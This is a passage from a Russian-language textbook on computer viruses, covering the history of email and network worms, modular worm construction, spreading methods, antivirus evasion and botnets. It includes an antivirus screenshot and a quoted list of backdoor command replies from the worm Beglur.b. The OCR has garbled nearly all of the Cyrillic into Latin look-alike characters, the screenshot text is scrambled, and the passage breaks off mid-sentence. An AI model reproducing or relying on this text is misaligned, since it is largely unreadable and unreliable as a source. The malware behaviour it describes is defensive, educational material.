peskume — obpaliiast BHUMaHue Ha rootkit-MeXxaHu3Mbl U JII0ObIE I0I03PH-
TeJibHbIe (haiiJIbl, MPOIECCHl U KIIOUH, TAK U B PEKUME «II0JyaBTOMATa>,
KOT/Ia KPUTEPUH «3JI0BPEHOCTU»> U [TPABUIIA UCIETEHUS 3a/[aI0TCS T0JTb-
30BaTeJieM B BUJIE CIIEHAPUEB HA BCTPOCHHOM CKPHUIITOBOM SA3bIKE.

LHTHE WP}

Cepeuc  AYZGuard AVZPM  Cnpaeka

3aMYCTHTE CKaHHPOBaHHE ETRBI NOMEKE l ~ MeToouka nedyeHHs
Nayza B CKAHMPOBAHHK [ BeinonHaTe nedeHue
CICTAHOEMTE CEAHHMPOBAHHE

Bupyck: Hoanate W
WMCCneA0BaHHE CHCTEMBI

AckAddare: dnanate v
BoCCcTAHOBREHHE CHOTEMBI
PesEpEHOE KONMPOEBaHHE Spw/S are; daanate ki
PeBHa0 f

P Dialer/Pomare; |30anaTe \"

MacTep NOMCKaE M YCTpaHeHka Npofinem

HackToal: Toneko oT4et W
CTaHASPTHEIE CKPHATE . R p——— »
BEINGNHHTE CKPHNT Biskiare:
CBHOBNEHHE Bas [¥] 3epucTiueckoe yaaneHue gainoe

)| (JKonupoeaTe ynanaerele hakine g Infected

nDDEMDTD CAKCEa NOAOZPHMTENBHBLX ofBEKTOE D KDI‘IMpDEaTb nDﬂ.DSpHTBﬂbele E KﬁpﬁHTHH
COXPaHHTE NPOTOKON
OUHCTHTE NpaTOKON o Myck. ] o rlagaa] O Cron ]

Puc. 6.23 ¢ AHTuBnpyc AVZ

Cxpurit 151 noucka u yaaienus yepssi Worm.Win32.Avron.a npu-
BeJleH B IIPUJIOJKEHIH,

6.8. CoBpemeHHble ceTeBble BUPYChbI
N Yyepsu

H3zseunou u snoseweti meumotl 8Upycos sesem-
€51 abCOMOMHOE MUPOBOE 20CNOOCTEO...

A.u B. Crpyrankue. «Ckaska o Tpoiike»

Wrax, nepsbie MOMBITKU BUPYCOB KOMUPOBATH Ce0sI IO CETSIM, OTHOCSIIME-
cs k 1998—-1999 romam, mpoaeMOHCTPUPOBAIN BO3MOKHOCTh U 3 deK-
TUBHOCTB MOZ00HOTO MeToa pasMHOKeHust. Py6ex aByx BekoB (1999—
2001 rompl) ObLI HepecedyeH Moz 3HAKOM OOPbObI ¢ MHOTOUMCIEHHBIMU
MPUMHUTUBHBIMUA MTOYTOBBIMU YEPBSIMH, HATTUCAHHBIMU HAa CKPHUIITOBBIX
s3bikax (Hampumep, Ha VBA u VBS). Takue yepsu, kak Macro. Word97.
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Melissa, E-Worm.VBS.Freelinks, E-Worm.VBS.BubbleBoy, E-Worm.
VBS.LoveLetter, E-Worm.VBS.Lee, E-Worm.VBS.NewLove,
E-Worm.VBS.Stages, E-Worm.VBS.Timofonica u mpouue, pacipo-
CTPAHSIUCH TI0 MUPY B JIECATKAX U COTHSIX ThICSTY KOTIUH. J[J1s1 Hanucanus
OZOOHBIX CAMOPA3MHOKAIOIIUXCSA IIPOrPaMM He TPeOOBaIOCh CKOJIb-
nubyab BBICOKON KBalmndUKauy, a K yCayraM MHAMBUAYYMOB, BooOLIe
He YMEBIIUX ITPOrPAMMUPOBATD, HO JKEJIAIONTUX BIINCATh CBOE UMsI B UCTO-
PUIO, UMEJINCh HECKOJIBKO JIECSTKOB «TeHepaTopoBs. [IpumepHo B aTO Ke
BpeMst ObL1a obHapyxkena ysassumoctb MS01-020, koTopast 1oaBuUIIa BH-
pycoriucaresieil Ha cMeHy TpuoputeToB: moutoBbie uepBu 2002—-2004 ro-
JIOB CTQJIM CO3/IaBaThCsl HA KOMITMJIMPYEMBIX $I3bIKaX TPOrPAMMHUPOBA-
s — C/C++, Pascal, Visual Basic u T. 11, a 111 pasMHOKeHI CHaYaia
ncnosbzoBaiuch cpeactsa MAPI (B Takux uepssix, kak E-Worm. Win32.
Navidad, E-Worm.Win32.Thonic, E-Worm.Win32.Roron u . 11.), a 3a-
TEM U TIPSIMOE COEJIMHEHNE C TIOYTOBBIM CEPBEPOM 110 MpoToKosy SMTP
(uepsu E-Worm.Win32.Avron, E-Worm. Aliz, E-Worm.Swen, E-Worm.
Klez, E-Worm.Win32.Mimail, E-Worm.Win32.NetSky, Email-Worm.
Win32.Sobig u 1. 11.). «CounanbHas WHKEHEPUSI» TOXKE paciiBesa B 9TU
TOJIBI: 3HAYUTETbHAS YAaCTh BUPYCOB HE UCIOJIb30BaJIA HUKAKUX <«JIBIPY,
a IIPOCTO PACIIPOCTPAHSLIACE B BH/E IIPOrPAMMHBIX (hailnoB, CHaOKEeHHBIX
3aBJIEKATEIBHBIM TEKCTOM 3JIEKTPOHHOTO muchMa. [lo cBoum maciita-
6am mourtosbie anugemun 2002—2004 rogos, MoXKaayi, IPEBOCXOIIIN
anugemun VBS-uepseii navana Beka. Arodeo3om aToro srana UCTOPUN
ceTeBOi 3apasbl cTajia KpyiHas anugemust yepsst E-Worm.Mydoom 3u-
Mmoti-Bectoit 2004 roga. OHAKO K 5TOMY BpeMeH! 3aKOHYNJIOCh MaCCOBOE
UCII0JIb30BaHue orepaoHHbix cucteM Windows 9X ¢ «abIpsSIBBIMY» 110-
uyroBbIM KanentoMm Outlook, a BMecTe ¢ HUMU TOTUXOHBKY YTaC/IM U KPYII-
HbIE TTOYTOBbIE AnueMun. HeT, pacchlika BUPYCOB 4epe3 2JIEKTPOHHYIO
HOUTY He 1CYe3/Ia 13 apceHaia BUPYCOMucaTe e, Ho TI06albHbIX 0YTO-
BBIX aTUAeMUil 6osbIie He Habaonanock. Tem ne Mernee 2002—2004 rosbt
Yare BCEro BCIOMUHAIOTCS KaK dII0Xa CTPEMUTENbHBIX M 00IIMPHENIINX
AMUEMUIT YePBEl, MCIOJb3YIONUX JIJIsI CBOETO PACIPOCTPAHEHUS He
AJIEKTPOHHYIO TTOUTY, & «/IBIPbI» B CETEBBIX KOMITOHEHTAX OTIEPAIMOHHDBIX
cucreMm. Yepsu Net-Worm.CodeRed, Net-Worm.Slammer, Net-Worm.
Lovesan, Net-Worm.Sasser u T. 11., 3apa’kasi MUJUTHOHBI KOMITBIOTEPOB,
OyKBaIbHO TOTpsAcaau VIHTEepHET, IPUBOIA K Ieperpy3KaM CeTeBhIX Cer-
MEHTOB, MACCOBBIM OTKJIIOUEHUSIM CEPBEPOB U T. II.

MupoBoe KOMIIBIOTEPHOE COOOIIECTBO He MOIJIO He OTpearnpoBarh Ha
BBI30B CO CTOPOHBI BUpycomucareneil. Mcnpasiasgauch ommbOKu B IIpo-
IPaMMHOM 00€CIIeUeHNH, COBEPIIEHCTBOBAINCH AJITOPUTMbI CETEBBIX IIPO-




456 <« (CereBble 1 NOHTOBbLIE BYPYCHI 1 HepBi

TOKOJI0B. BpanaMaysp cran o6sg3aTeIbHbIM aTPUOYTOM JTI060r0 KOMIIBIO-
Tepa, MOAKIIOUEHHOTO K ceTh. [loJuIums pasHbIX cTpaH, KOOPAMHHUPYS
COBMECTHbBIE JIeMCTBH, pa3obauniia U apecToBajia HeCKOJbKUX aKTHUB-
HBIX BUPYyCOIHCATEEH.

N B 2004—2005 rogax 3aKOHUMJICS «POMAHTHYECKWiT» dTAll B UCTO-
pur KOMIbIOTEpHOI Bupycosorni. CosnaHue «KOHKYPEHTOCTIOCOOHBIX>
BUPYCOB, PacIpoCTpaHeHe UX 1 3aMeTaHue CJIeI0B 0Ka3auioch 0OJIbliie
HE T/l CUJIy YeCTOJIOOMBBIM XyJUTAHAM-OMHOYKAM, OIPEAESIBITIM
«BUPYCHYIO TIOTO/Iy» B Te€UeHUe MOUTH JABYX JAECSITUIETUI. 3aMOJIKIa Ha
HeCKoJIbKO JieT, a ToToM (B 2007 rofy) 3asgBuyia 0 CBOEM CaMOPOCITyCKe
3HAMEHUTas TPYNIUPoOBKa Bupyconucarenaein «29A». [nybokue uccie-
JIOBaHUS CBOMCTB OINEPAMOHHBIX CHCTEM, HAIMCAHUE BBICOKOCJIOKHBIX
6uGINOTEK, AHOHUMHOCTH B VIHTEpPHETE CTali HEBO3MOKHbI Oe3 <«IIpo-
(heccnoHanIbHOTO» MOAX01a, 0€3 BIOKEHUS «B TeMYy» HEMaJIbIX IeHEKHBIX
CPEICTB. 3aHUMAThCS BUPYCOMCATETBCTBOM CTATIO BO3MOKHBIM TOJILKO
B TOM CJIy4ae, eCJIU OHO TIPUHOCHT JIOXO/I.

Tak BUPYCOMUCATEIBCTBO IPEBPATHIOCH B OM3HEC M HEMUHYEMO KPH-
MUHAJTU3UPOBAJIOCH.

CoBpeMeHHBI CeTeBOI WM TIOYTOBBIN YePBbh — 9TO HE TIPOCTO CaMO-
Pa3MHOJKAIONIASCS MPOrPAMMKa, MpeHA3HAYCHHAS /IS JIEMOHCTPAIIUN
«KPYTOCTU» aBTOPA. ITO CJOKHBIN, MHOTO(DYHKITMOHAIBHBI KOMILIEKC,
CITYZKAIU CPEJCTBOM JIOCTABKY HAa 3aPasKEHHBII KOMITBIOTED TPOSTHCKIX
mporpaMM 1 KoMnoHenToB. Cpenn 0coOeHHOCTE COBPEMEHHBIX YepBeil
MOSKHO BBIJIEJTUTH CJIE/YIONIHE.

6.8.1. MopynbHoe nocTpoeHue

CoBpeMeHHbIe YePBHU CJIOKHBI 110 CBOEH CTPYKTYPE U UCIOJb3YIOT <«MO-
JYJbHBI> TPUHIMIL TOCTPOEHUSA. JTO O3HAYaeT, YTO BUPYCOIHUCATEID
UMeeT B CBOEM PACHOPSKEHUN GUOIMOTEKY M3 MHOKECTBA «KyOUKOB»,
Ipe/iHa3HAYEHHDIX I PelleHUs] TUIIOBBIX 3ajay, HAIIPUMEpP <«PaCChlJI-
ka shell-koma», «pacnpocrpaHeHue 10 TOUYTE», «YCTAHOBKA B CHCTEME>,
«obecreyeHre HeBUANMOCTH», <[TOJIUMOPMOUIM» U T. TL., IPUYEM KasK/[bIil
«KyOUK» M3TOTOBJICH B BU/IE HECKOJBKUX AJbTEPHATUBHBIX BAPUAHTOB.
[Ipu TeHepaIy UCXOIHOTO TEKCTa ITH <«KYOUKU» MOYKHO B aBTOMATH-
3MPOBAHHOM PEKMME BapbUPOBATh U MEPECTaBIsATh Mectamu. JlobGaBbre
K 9TOMY HCIIOJIb30BaHue pa3indyHbixX yrakopimkos Trima UPX, AsPack,
Yoda u T. 11., 2 TO ¥ HECKOJIBKUX CPa3y, — ¥ BbI TIOJYYUTE COTHU U THICAYN
Pa3HOBUIHOCTEI OZIHOTO M TOTO ke 4epBs. VX MOXKHO creHepupoBaTh 3a
3 CEeKYH/I, a TIOTOM BBIITyCKaTh B VIHTEPHET B TeueHIe HECKOIbKIX HE/leNb
1 MecsIeB 110 HeCKOJIbKY HITYK B 4ac ¢ pa3Hbix XocToB. Harpumep, B ru-
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HEePTEKCTOBON «DHIUKIIONean Kacrepckoro» 3aperucTpupoBaHbl cie-
JYFOIIIME KOJTIYecTBa YepBeii (6e3 yuera TPOSTHCKUX IPOrPAMM, BXOISIIHX
B Te JK€ CEMEeNCTBA) :
E-Worm.Warezov — 1326;
E-Worm.Bagle — 875;
E-Worm.Zhelatin (oH xe Storm Worm) — 764;
Net-Worm.Mytob — 720;
Net-Worm.Kido (on e Conficker) — 308;
Net-Worm.Padobot — 239 u T. 1.

Pas6upaiicst, BUPYCOJIOL, €CJIM TePIIeHUsI XBaTUT!

Kpome Toro, MOAYIbHOCTD IIPOSIBJISIETCSI €11 U B TOM, YTO BPEIOHOCHAS
IpOTpaMMa MOKET COCTOSITh U3 HECKOIBKUX (hailToB, KaXKIbIll M3 KOTO-
PBIX TIpeiHa3HAYEeH [ PEHIeHUsT KaKOH-HUOY/Ib OT/IeJbHON 3a/1auM.

00000

6.8.2. MHOXeCTBEHHOCTb CNOCOOOB pacnpoCcTpaHEeHUs

CoBpeMEeHHBIE YePBU UCIIOJB3YIOT CPas3y HECKOJBKO CIOCOO0B PacIpo-
crpatenust. Hanpumep, BOT (hparMeHThbI OMHUCAHUST HE CJUIITKOM H3BECT-
Horo (sieto 2004 r.), Ho oueHb xapakTepHoro yepss Net-Worm.Kibuv.b:

Bbibupasi npou3BosibHble IP-aapeca, ckaHupyeT ceTn Ha Haamydme Ha
yaaneHHoM koMribioTepe ysi3BumocTteri B RPC, LSASS, 11S 5.0 v cepBu-
ce coobLyeHnii. NpoBepsieT Ha 5554 nopTty Hann4me FTP-KOMMOHEHTbI
yepBsi Sasser. Takxe rnposepsieT Hann4ine backdoor-kOMMOHEeHTbl OT
ceTeBoro 4yepssi Bagle.

lMpy HaxoxaeHun NoAo0OHOro KOMMbIOTEPA YEPBb OTChIIAET Ha HEro
COOTBETCTBYIOLUMNI SKCIJIOMNT. ..

Yepsb 3axoanTt Ha IRC-cepBep... Takxke paccbliaeTr BCEM BHOBb BO-
LeaLIM CChlSIKy Ha cebsl...

Ouenb pasHOOOPA3HO PasMHOXKAINCh YepBu ceMeiicTBa Net-Worm.
Warezov. bouin Bepcun (Harnpumep, Net-Worm.Warezov.oi), Kotopbie
PacIpoCTpaHsINCh TOJBKO € HcHogb3oBanueMm mpotokosnos [CQ. He-
CKOJIBKO JECATKOB Bepcuil, nmopobunix Net-Worm.Warezov.nf, 1mob-
30BAJMCH YCIYTaMy 9JIEKTPOHHON MOUYTHI, HO PACIPOCTPAHSIN He cebsl,
a TPOSTHCKYIO TIPOrpaMMy, KoTtopast, Oy/Iyuu 3allyllleHa, 3arpy/Kajia Ha 3a-
Pa’keHHBIH KOMIIBIOTEP € cafiTa-MocpefiHNKa PAa3IMyHble BPEJOHOCHBIE
KOMIIOHEHTbI, B TOM yucJie u camoro yepss Net-Worm.Warezov.nf. B to
ske Bpemst Bepcust Net-Worm. Warezov.bw nipezcrasiisiia coboii camoro
0OBIYHOTO TIOUTOBOTO Y€PBsl, PACCHIJIAIONIETOCs M0 BCeM HaliIEHHBIM Ha
JIICKE JIEKTPOHHBIM a/IPECaM.

A Bot uepBu cemeiictBa Net-Worm.Kido (on e Conficker) pac-
MPOCTPAHAJINCH KaK MO JIOKAJTBHON CeTH, TaK M uepe3 <« aniku» (3TOT
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B pailoBbIX YepBeil ObLI yiKe YIOMSIHYT HaMM B IJIaBe, IOCBSIeHHON
Win32-supycam).

Takum 06pa3oM, OT THIIUYHOTO COBPEMEHHOTO YePBST TPYIHO yOepeub-
Cs1, 3aKPBIB KAaKOU-HUOY/Ib OJIUH MOPT WJIA TOCTABUB OJHY <«3aILIaTKy».
CoBpeMeHHbIE «MH0208eKMOPHbLEe» CETEBBIE YePBHU PA3MHOXKAIOTCS MOYH-
11[e «KyPUHOTO» UJIM «CBUHOTO» MPUIIIA — CPA3y U MOJOBIM, U OBITOBBIM,
1 BO3/LYIITHO-KAIIeJIbHBIM ITyTEM.

6.8.3. bopbba yepBel ¢ aHTMBUpYyCaMu

CoBpeMeHHbIE YePBU HCIOJIB3YIOT CJAOKHENIINE METOAbI 00eCIeUeHtsT
CBOCH HEBUAMMOCTH W TPOTUBOAEHCTBUS MCCIEIOBAHUIO CO CTOPOHDI
Bupycosoros. Hanipumep, uepsu pasuosuaHocreii Net-Worm.Bagle.n u
Net-Worm.Bagle.p, kpome Toro 4to pacnpocTpaHsioT cebst 1Mo mouTe u
10 (hailJIo0OMEHHBIM CETSIM, OTKJIIOUYAIOT GOJIBIIOE KOJIUIECTBO AHTUBU-
PYCOB, ellle ¥ YMEIOT 3apaxkaTh UCTIOMHAeMble (haiiyibl, TOIMMOPGHHO BU-
nousMmeHsisich ipu atoM. A uepsu Net-Worm.Zhelatin.a u Net-Worm.
Zhelatin.o He BuHbI B mamMsAT U PeecTpe, Tak Kak MCIOIb3YIOT rootkit-
TEXHOJIOTHH.

CoBpeMeHHbIe YepBU He 00SI3aTEIHHO CTAPAIOTCS TIOI0JIBIIE TPOKUTD
Ha KOMIIbIOTEpE, OCTaBasCh He3aMeYeHHbIMU. Hepeako oHM TOJTHOCTBIO
MPOKUBAIOT OTMEPEHHBIM aBTOPOM CPOK W MUPHO CaMOYHUYTOXKAIOTCS,
0CTaBJIsisE TIocJie celst CJIe/bl TOJIBbKO B BUJIE TUTAHTCKUX CYETOB OT TIPO-
Baiijiepa X03sMHY KOMIbIOTEPa 3a rurabaiiThl Pa3oCIaHHOTO CliaMa.

6.8.4. YnpaBnaemocTb. BoTHeTbI

MHOKECTBO MAIllMH, 3aPa/KEHHBIX COBPEMEHHBIMU UYEPBSIME, 00PasyioT
VIIPaBJIsIEMYIO crcTeMy. B mpocreiiiiem ciydae 4epBy caMOyHIYTOKAIOT-
Cs1 TIOCJIe OIpeieJIeHNHON JaThl, KaK, HAIPUMEpP, MHOTHE PAa3HOBUIHOCTU
cemeiictBa Net-Worm.Bagle. BoJiee «IIpo/iBUHYTBIMU» SIBJSIIOTCST TIOJI-
XOJIbl, KOT/[a YEPBU BBIMTOJHSIIOT KOMAH/IbL, JTOO MOCTYIUBIINE U3 €[HO-
O TleHTPa, JTOO MepeaHHbIe TI0 TEM0YKe OT IPYTOii, 3apasKeHHON TeM Ke
yepBeM MaIluHbI (110 mexnoaoeuu P2P — «Touka-Toukas ).

Jlenaercs Takoil «npozpammmoiil 1ok»> (nan <backdoors — yepHbIil X011)
o4enb 1MPocTo. UepBh 3arlycKaeT OMUH U3 CBOUX IIOTOKOB B BUJIE CEPBe-
pa, CIyMIAIoNEero KakoH-HUOyAb HEUCHONb3yEeMbIH MOPT, U U3BJIEKAET
U3 TPUIIEIINX TAKETOB YCJIOBHbIe KOMAH/bl. B cooTBeTcTBUM € 9TMMU
KOMAaHIAMU OH MOKET BBIIIOJIHATh Ha 3aPa’KEHHOM KOMIIBIOTEPE CaMble
pasnoo6pasHbie JeficTBus. Bot, HatpuMep, CIIMCOK KOMaH/I U OTKJIMKOB,
u3BJeYeHHbIX u3 gamiia uepsst E-Worm.Beglur.b:
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LleHTpanuaoeaHHas pacceinka komada,  Pacceinka komada "no uenodke’

"PetpaH-
cnatop”

Puc. 6.24 « PasnunyHble apxXnTekTypbl «00THETOB»

## Simt Dtg Sir! ## YUP! Pwd Plz: Login First! Already! Wait! Master
pwd chg rgstd. Nw Pwd:/> Pwd Changed! Msg Snt! Fail Snt Msg! File
Del.! Fail Del.! Dir. Rmv.! Fail Rmv Dir.! Dir Created! Create Dir. Fail!
Copyfile done! Can’t Cpy or fail!l Movfile done! Can’t Mov or dail! Exec
Done! Exec Fail!l CMD cmd fail! Inv. dir. call or param.! Spec. file not
found! Invalid Param! File x exist! File Access Error! ShtDwn Ondaway!
Inv. ShtDwn Param! Svr Off! Unknown cmd!

OueBUIHO, UTO ABTOP YEPBST COOUPATICS YAATEHHO MEHSITh HA 3apasKeH-
HOI MaIlIHe MMapoJI, CO3/[aBaTh U y/IaJISTh KATAaJIOTH, KOTTMPOBATH (haiiJibl,
3aIyCKaTh PAa3JIMYHbIE TIPOTPAMMBI, TIepe3arpy>kKaThb CUCTEMY U IIpoyee.

Co0OCTBEHHO TOBOPs, GOJIBITHHCTBO COBPEMEHHBIX YepPBEil MMEHHO
JUIST BTOTO U TIPETHA3HAUEHBI — JIJIST CO3/IaHUST OTPOMHBIX «30MOU»-ceTeil
(«6OTHETOBY ), COCTOSAIINX U3 3aPAKEHHBIX KOMITBIOTEPOB, KOTOPbHIE BbI-
MOJIHAIOT BHeITHUEe KoMaHibl. Hy He /71 ayparkux ske NIyToK TUTa Tex,
KOTOPBIMH Pa3BJieKaINCh Bupyconucatenn Hadasa 1990-x ronos, BepHO?
CoBpeMeHHbIe ceTeBble BUPYCHI U YEPBU MPENEIbHO YTUAUTAPHBL. Kak
«BeceJbIey, TaK U «KOITMapHbIe» TTPOSIBJICHUS ¢ UX CTOPOHBI — OTPOMHAS
PEIKOCTb.

«30MOM»-CETU CO3AIOTCS JOJITO — TIYTEM PACCHLIKUA B TEUEHUE He-
CKOJIBKUX HeNesb M MeCSIeB MHOTOYMCJIEHHBIX Pa3HOBUAHOCTEN KaKo-
rO-HUOY/Ib YEPBST — U COCTOST U3 JIECATKOB U COTEH THICSY 3aPa’KEHHBIX
KOMITBbIOTEPOB. Hepenko oHu cojiepsKaT HECKOIBKO CTPYKTYPHBIX CTTOEB —
OJIMH 3aHUMACTCS PETPAHCJIAIMEN KOMaH/I, IPYTOll TIepeKaunBaeT CIIaM,
TpeTuii «BepOyeT HOBOOPAHIIEB», PACCHLIAS HOBbIE PA3HOBUIHOCTU Yep-
Bell u T. 1. CTOSIT Takue ceTu HeJlellieBo. Bupycorucaresib-1ipo/iaBei, CO3-
JaBIINH «30MOU»-CETh, MOKET BHIPYUUTH 34 Hee Y CraMepa-MoKymaTeist
OUYECHb W OYEHDb «KPYTJCHBKYIO» CyMMY. Belb mpu MOMOIIM TaKOW CeTH,
obJaiatorieil THraHTCKOW BBIYUCIUTENHHON MOIHOCTBIO M TPOIYCKHON
CIIOCOOHOCTHIO, MOJKHO MEPECHLIATH COTHU MUJUIHOHOB U MUJLIUAP/IBI KO-
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MU PEKJAMHBIX MTHCEM U TPOSTHCKUX TIPOrpaMM B cyTKu. [losydarth j10-
CTYII K COTHSIM TBICSIY UY3KUX CEKPETHBIX MMapoJieil, 6aHKOBCKUX PEKBU3MU-
TOB U KOH(DUIEHIIUATBHBIX T0KyMeHTOB. CKOOPANHUPOBAHHOI JIABUHOW
3aIPOCOB Ha KAKOU-HUOY/Ib CAUT HAJIEKHO GJIOKUPOBATD €10 PadoTy...

A Bot it pactinpoBKU YETOBEYECKOTO